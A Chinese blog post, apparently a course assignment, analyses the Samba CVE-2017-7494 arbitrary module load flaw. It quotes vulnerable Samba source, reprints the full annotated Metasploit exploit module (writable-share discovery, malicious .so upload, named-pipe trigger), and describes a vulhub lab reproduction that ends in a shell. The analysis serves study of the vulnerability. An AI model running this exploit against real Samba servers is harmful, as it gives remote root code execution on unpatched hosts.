赞
踩
写这篇文章的起因是为了完成课程作业…实在是过于真实了
闲话少说,其实我对这玩意也不能说很了解吧…只能硬着头写了。
本文会结合部分samba源代码分析、msf exploit分析和攻击数据包对比,希望能让大家对这一漏洞有一定的了解。
rapid7漏洞简介
看雪的漏洞分析
奇安信漏洞分析
T3stzer0的漏洞分析(被无数爬虫残缺不全的搬运到各处233)
msf exploit
IPC利用
samba空连接安全问题
IPC利用2
Microsoft的IPC介绍
SMB协议详解
IPC命名管道介绍
vulhub
介绍原理之前得先介绍一下samba。先看看官网介绍:
看下来感觉就是在linux/win上实现了SMB/CIFS协议,可以用来实现文件共享等等功能。
下面的漏洞描述摘自奇安信:
在rpc_server/srv_pipe.c中的存在一个验证BUG,攻击者可以利用客户端上传恶意动态库文件到具有可写权限的共享目录中,之后发出请求,使服务器加载Samba运行目录以外的非法模块,导致恶意代码执行。
先看一下patch:
实际上就是禁止命名管道的名称中出现/
符号,防止使用路径作为popen
参数,实际上也防止了目录穿越。
来追一下漏洞源码:
\source3\rpc_server\srv_pipe.c
中的is_known_pipename
:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) { NTSTATUS status; if (lp_disable_spoolss() && strequal(pipename, "spoolss")) { DEBUG(10, ("refusing spoolss access\n")); return false; } if (rpc_srv_get_pipe_interface_by_cli_name(pipename, syntax)) { return true; } status = smb_probe_module("rpc", pipename); #pipe_name加载module if (!NT_STATUS_IS_OK(status)) { DEBUG(10, ("is_known_pipename: %s unknown\n", pipename)); return false; } DEBUG(10, ("is_known_pipename: %s loaded dynamically\n", pipename)); /* * Scan the list again for the interface id */ if (rpc_srv_get_pipe_interface_by_cli_name(pipename, syntax)) { return true; } DEBUG(10, ("is_known_pipename: pipe %s did not register itself!\n", pipename)); return false; }
samba-4.5.9\lib\util\modules.c
中的smb_probe_module
:
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
同一个文件中的do_smb_load_module
(恶意参数为module_name
):
static NTSTATUS do_smb_load_module(const char *subsystem, const char *module_name, bool is_probe) { void *handle; init_module_fn init; NTSTATUS status; char *full_path = NULL; TALLOC_CTX *ctx = talloc_stackframe(); if (module_name == NULL) { TALLOC_FREE(ctx); return NT_STATUS_INVALID_PARAMETER; } /* Check for absolute path */ DEBUG(5, ("%s module '%s'\n", is_probe ? "Probing" : "Loading", module_name)); if (subsystem && module_name[0] != '/') { full_path = talloc_asprintf(ctx, "%s/%s.%s", modules_path(ctx, subsystem), module_name, shlib_ext()); if (!full_path) { TALLOC_FREE(ctx); return NT_STATUS_NO_MEMORY; } DEBUG(5, ("%s module '%s': Trying to load from %s\n", is_probe ? "Probing": "Loading", module_name, full_path)); init = load_module(full_path, is_probe, &handle); } else { init = load_module(module_name, is_probe, &handle); #module_name加载module } if (!init) { TALLOC_FREE(ctx); return NT_STATUS_UNSUCCESSFUL; } DEBUG(2, ("Module '%s' loaded\n", module_name)); status = init(); if (!NT_STATUS_IS_OK(status)) { DEBUG(0, ("Module '%s' initialization failed: %s\n", module_name, get_friendly_nt_error_msg(status))); dlclose(handle); } TALLOC_FREE(ctx); return status; }
同一个文件中的load_module
(恶意参数为path
):
init_module_fn load_module(const char *path, bool is_probe, void **handle_out) { void *handle; void *init_fn; char *error; /* This should be a WAF build, where modules should be built * with no undefined symbols and are already linked against * the libraries that they are loaded by */ handle = dlopen(path, RTLD_NOW); #dlopne加载so /* This call should reset any possible non-fatal errors that occured since last call to dl* functions */ error = dlerror(); if (handle == NULL) { int level = is_probe ? 5 : 0; DEBUG(level, ("Error loading module '%s': %s\n", path, error ? error : "")); return NULL; } init_fn = (init_module_fn)dlsym(handle, SAMBA_INIT_MODULE); #dlsym执行so中的SAMBA_INIT_MODULE函数,替换为恶意函数即可RCE /* we could check dlerror() to determine if it worked, because dlsym() can validly return NULL, but what would we do with a NULL pointer as a module init function? */ if (init_fn == NULL) { DEBUG(0, ("Unable to find %s() in %s: %s\n", SAMBA_INIT_MODULE, path, dlerror())); DEBUG(1, ("Loading module '%s' failed\n", path)); dlclose(handle); return NULL; } if (handle_out) { *handle_out = handle; } return (init_module_fn)init_fn; }
根据samba wiki,samba可以设置为一个独立服务器,同时支持匿名访问(anonymous access
)。当然,这里“访问”应该是指smb_login,也就是以匿名用户身份完成smb认证(参考SMB协议详解)。
匿名访问的常见用途是设置一个可匿名访问的、仅上传的samba服务器,用于提交作业、上传记录等等用途,这也是这一漏洞攻击的主要着眼点。
对于匿名IPC的话,根据IPC利用和IPC利用2的描述,这种无用户名无密码的空/匿名连接(至少在windos上)要么权限很低,要么干脆就已经被挡掉了…细节可以在微软官方文档里面查到。
实际上攻击思路就是想办法在目标服务器上上传一个恶意的.so文件,再以匿名方式访问IPC$,创建命名管道触发漏洞以popen打开这个恶意.so以反弹shell。但是,为了实现攻击有以下几个问题:
直接参考T3stzer0的漏洞分析即可。
第一个读的msf exp…感觉可读性挺好的。ruby语法直接看菜鸟教程就行了,使用的SMB::Client
模块内容可以参考msf doc,
枚举目录的调用链大概是find_writeable——find_writeable_share_path——find_writeable_path——enumerate_directories——verify_writeable_directory
,逻辑是通过smb_netshareenumall
函数枚举共享名,再用find_first(\\*)
获取共享名下的目录,测试完找到可写目录后用smb_netsharegetinfo
获取共享目录绝对/物理(路径),上传恶意so后以绝对路径拼接tpath
再用create_pipe
触发漏洞,加载恶意so。
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking //Excellent,就是我们列exploit时看到的评级 include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client //使用的DCERPC/SMB::Client两个依赖,主要是用了后一个,进行SMB连接和扫描 def initialize(info = {}) //initialize,设置默认配置,也就是show options看见的那些 super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load', 'Description' => %q{ This module triggers an arbitrary shared library load vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module requires valid credentials, a writeable folder in an accessible share, and knowledge of the server-side path of the writeable folder. In some cases, anonymous access combined with common filesystem locations can be used to automatically exploit this vulnerability. }, 'Author' => [ 'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit 'hdm', # Metasploit Module 'bcoles', # Check logic ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-7494' ], [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ], ], 'Payload' => { 'Space' => 9000, 'DisableNops' => true }, 'Platform' => 'linux', 'Targets' => [ [ 'Automatic (Interact)', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } } } ], [ 'Automatic (Command)', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ], [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ], [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ], [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ], [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ], [ 'Linux PPC', { 'Arch' => ARCH_PPC } ], [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ], [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ], [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ], [ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ], [ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ], ], 'DefaultOptions' => { 'DCERPC::fake_bind_multi' => false, 'SHELL' => '/bin/sh', }, 'Privileged' => true, 'DisclosureDate' => '2017-03-24', 'DefaultTarget' => 0)) register_options( [ OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), ]) //同时提供了两个自定义选项,SMB_SHARE_NAME和SMB_FOLDER,在漏洞简介里面有说明 end def post_auth? true end # Setup our mapping of Metasploit architectures to gcc architectures //应该是设置可用的payload类型。从这里也可以看出漏洞影响范围之大 def setup super @@payload_arch_mappings = { ARCH_X86 => [ 'x86' ], ARCH_X64 => [ 'x86_64' ], ARCH_MIPS => [ 'mips' ], ARCH_MIPSLE => [ 'mipsel' ], ARCH_MIPSBE => [ 'mips' ], ARCH_MIPS64 => [ 'mips64' ], ARCH_MIPS64LE => [ 'mips64el' ], ARCH_PPC => [ 'powerpc' ], ARCH_PPC64 => [ 'powerpc64' ], ARCH_PPC64LE => [ 'powerpc64le' ], ARCH_SPARC => [ 'sparc' ], ARCH_SPARC64 => [ 'sparc64' ], ARCH_ARMLE => [ 'armel', 'armhf' ], ARCH_AARCH64 => [ 'aarch64' ], ARCH_ZARCH => [ 's390x' ], } # Architectures we don't offically support but can shell anyways with interact @@payload_arch_bonus = %W{ mips64el sparc64 s390x } # General platforms (OS + C library) @@payload_platforms = %W{ linux-glibc } end # List all top-level directories within a given share //枚举共享目录下的一级目录,仅支持smb1 def enumerate_directories(share) begin vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client') connect(versions: [1]) smb_login self.simple.connect("\\\\#{rhost}\\#{share}") //连接共享目录 stuff = self.simple.client.find_first("\\*") //列出共享目录下的所有目录,相当于ls? directories = [""] stuff.each_pair do |entry,entry_attr| next if %W{. ..}.include?(entry) //跳过含.和..的相对路径 next unless entry_attr['type'] == 'D' directories << entry //检查entry是否为目录,不是目录则继续循环 end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Enum #{share}: #{e}") return nil ensure simple.disconnect("\\\\#{rhost}\\#{share}") smb_connect end end # Determine whether a directory in a share is writeable def verify_writeable_directory(share, directory="") //上传txt 验证共享目录是否可写 begin simple.connect("\\\\#{rhost}\\#{share}") //连接到共享目录 random_filename = Rex::Text.rand_text_alpha(5)+".txt" //生成随机数名的txt作为测试 filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" //生成上传绝对/相对路径 wfd = simple.open(filename, 'rwct') //通过连接生成txt文件 wfd << Rex::Text.rand_text_alpha(8) wfd.close //txt里面随机写入字符 simple.delete(filename) //删除文件 return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e vprint_error("Write #{share}#{filename}: #{e}") return false ensure simple.disconnect("\\\\#{rhost}\\#{share}") end end # Call NetShareGetInfo to retrieve the server-side path //通过smb_netsharegetinfo获取服务端共享目录,信息存在share_info 中 def find_share_path share_info = smb_netsharegetinfo(@share) share_info[:path].gsub("\\", "/").sub(/^.*:/, '') //替换\\为/,去除开头的一切字符,直到第一个: end # Crawl top-level directories and test for writeable def find_writeable_path(share) subdirs = enumerate_directories(share) return unless subdirs //目录为空直接返回 if datastore['SMB_FOLDER'].to_s.length > 0 subdirs.unshift(datastore['SMB_FOLDER']) end //插入选项指定的共享目录 subdirs.each do |subdir| next unless verify_writeable_directory(share, subdir) //判断目录可写性 return subdir end nil end # Locate a writeable directory across identified shares def find_writeable_share_path @path = nil share_info = smb_netshareenumall //使用smb_netshareenumall获取共享目录信息 if datastore['SMB_SHARE_NAME'].to_s.length > 0 share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', ''] end //优先更新选项指定的内容 share_info.each do |share| next if share.first.upcase == 'IPC$' //跳过IPC$ found = find_writeable_path(share.first) //根据共享目录查找其下的可写目录 next unless found @share = share.first @path = found //存储共享目录与其下的可写目录 break end end # Locate a writeable share def find_writeable find_writeable_share_path unless @share && @path print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER") fail_with(Failure::NoTarget, "No matching target") end print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path") end # Store the wrapped payload into the writeable share def upload_payload(wrapped_payload) //payload上传函数 begin self.simple.connect("\\\\#{rhost}\\#{@share}") //建立到共享目录的连接 random_filename = Rex::Text.rand_text_alpha(8)+".so" filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" wfd = simple.open(filename, 'rwct') wfd << wrapped_payload wfd.close //在共享目录的可写路径下上传恶意.so @payload_name = random_filename rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("Write #{@share}#{filename}: #{e}") return false ensure simple.disconnect("\\\\#{rhost}\\#{@share}") end print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}") return true end # Try both pipe open formats in order to load the uploaded shared library def trigger_payload //通过命名管道触发popen执行恶意so target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/') [ "\\\\PIPE\\" + target, target ].each do |tpath| //将\\PIPE\和[@share_path, @path, @payload_name]组合为管道目录,同时换成linux风格 print_status("Loading the payload from server-side path #{target} using #{tpath}...") smb_connect # Try to execute the shared library from the share begin simple.client.create_pipe(tpath) //创建命名管道 probe_module_path(tpath) //废弃接口,旧版内能看到函数定义,功能与上一句相同 rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError # Common errors we can safely ignore rescue Rex::Proto::SMB::Exceptions::ErrorCode => e # Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded if e.error_code == 0xc0000039 pwn return true else print_error(" >> Failed to load #{e.error_name}") end rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID pwn return true else print_error(" >> Failed to load #{e.status_code.name}") end end //根据返回error code判断是否加载恶意so disconnect end false end def pwn //连接shell print_good("Probe response indicates the interactive payload was loaded...") smb_shell = self.sock self.sock = nil remove_socket(sock) handler(smb_shell) end # Use fancy payload wrappers to make exploitation a joyously lazy exercise def cycle_possible_payloads //遍历并配置exp template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494") template_list = [] template_type = nil template_arch = nil # Handle the generic command types first if target.arch.include?(ARCH_CMD) //payload架构在ARCH_CMD内 template_type = target['Interact'] ? 'findsock' : 'system' all_architectures = @@payload_arch_mappings.values.flatten.uniq # Include our bonus architectures for the interact payload //引入非常见架构 if target['Interact'] @@payload_arch_bonus.each do |t_arch| all_architectures << t_arch end end # Prioritize the most common architectures first //优先引入常见架构 %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch| template_list << all_architectures.delete(t_arch) end # Queue up the rest for later //引入其他架构 all_architectures.each do |t_arch| template_list << t_arch end # Handle the specific architecture targets next else //payload架构不在ARCH_CMD内 template_type = 'shellcode' target.arch.each do |t_name| @@payload_arch_mappings[t_name].each do |t_arch| template_list << t_arch end end end # Remove any duplicates that mau have snuck in template_list.uniq! # Cycle through each top-level platform we know about @@payload_platforms.each do |t_plat| # Cycle through each template and yield template_list.each do |t_arch| wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz") next unless ::File.exist?(wrapper_path) data = '' ::File.open(wrapper_path, "rb") do |fd| data = Rex::Text.ungzip(fd.read) end pidx = data.index('PAYLOAD') if pidx data[pidx, payload.encoded.length] = payload.encoded end vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...") yield(data) end end end # Verify that the payload settings make sense def sanity_check //检查payload配置 if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact" print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact") print_error(" Please set PAYLOAD to cmd/unix/interact and try this again") print_error("") fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target") end if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact" print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact") print_error(" Please set a valid PAYLOAD and try this again") print_error("") fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target") end end # Shorthand for connect and login def smb_connect //smb连接函数的wrapper,smb_login是模块扫描smb connect smb_login end # Start the shell train def exploit # Validate settings sanity_check //检查配置完整性 # Setup SMB smb_connect //连接smb # Find a writeable share find_writeable # Retrieve the server-side path of the share like a boss print_status("Retrieving the remote path of the share '#{@share}'") @share_path = find_share_path print_status("Share '#{@share}' has server-side path '#{@share_path}") # Disconnect disconnect # Create wrappers for each potential architecture cycle_possible_payloads do |wrapped_payload| //循环使用可用的payload # Connect, upload the shared library payload, disconnect smb_connect upload_payload(wrapped_payload) disconnect # Trigger the payload early = trigger_payload # Cleanup the payload begin smb_connect simple.connect("\\\\#{rhost}\\#{@share}") uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" simple.delete(uploaded_path) disconnect rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError end # Bail early if our interact payload loaded return if early end end # A version-based vulnerability check for Samba //msf的惯例,在exploit前会调用checker先进行检查,当然也可以仅check def check res = smb_fingerprint //获取smb指纹 unless res['native_lm'] =~ /Samba ([\d\.]+)/ print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}") return CheckCode::Safe end //通过native_lm判断服务是否为samba,该值实际上为smb_peer_lm 函数的返回值, //是当前Native Lan Manager版本,可以用于获取Samba版本 samba_version = Rex::Version.new($1.gsub(/\.$/, '')) //获取远程samba版本 vprint_status("Samba version identified as #{samba_version.to_s}") if samba_version < Rex::Version.new('3.5.0') //判断版本是否受影响 return CheckCode::Safe end # Patched in 4.4.14 if samba_version < Rex::Version.new('4.5.0') && samba_version >= Rex::Version.new('4.4.14') return CheckCode::Safe end # Patched in 4.5.10 if samba_version > Rex::Version.new('4.5.0') && samba_version < Rex::Version.new('4.6.0') && samba_version >= Rex::Version.new('4.5.10') return CheckCode::Safe end # Patched in 4.6.4 if samba_version >= Rex::Version.new('4.6.4') return CheckCode::Safe end smb_connect //建立smb连接 find_writeable_share_path //查找可写的共享目录 disconnect //停止连接 if @share.to_s.length == 0 print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified") //未找到可写的共享目录,返回失败 return CheckCode::Detected end print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'") return CheckCode::Appears end end
使用vulhub
的镜像来完成漏洞复现,攻击过程中采用tcpdump
抓取攻击数据包,并使用wireshark
进行分析。
NetShareEnumAll
枚举出的共享名(@path
):
Find_First
枚举出的共享目录下的顶层目录(.
和..
):
测试目录可写性:
NetShareGetInfo
枚举出的绝对(物理)路径(@share_path):
上传恶意.so
:
创建name_pipe
触发漏洞(注意看后一个包返回的error_code
):
实际上我这里测它反复上传了三次,最后一次才成功拿到shell。
注意看这个error_code
,结合exp就是已经成功加载了.so。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。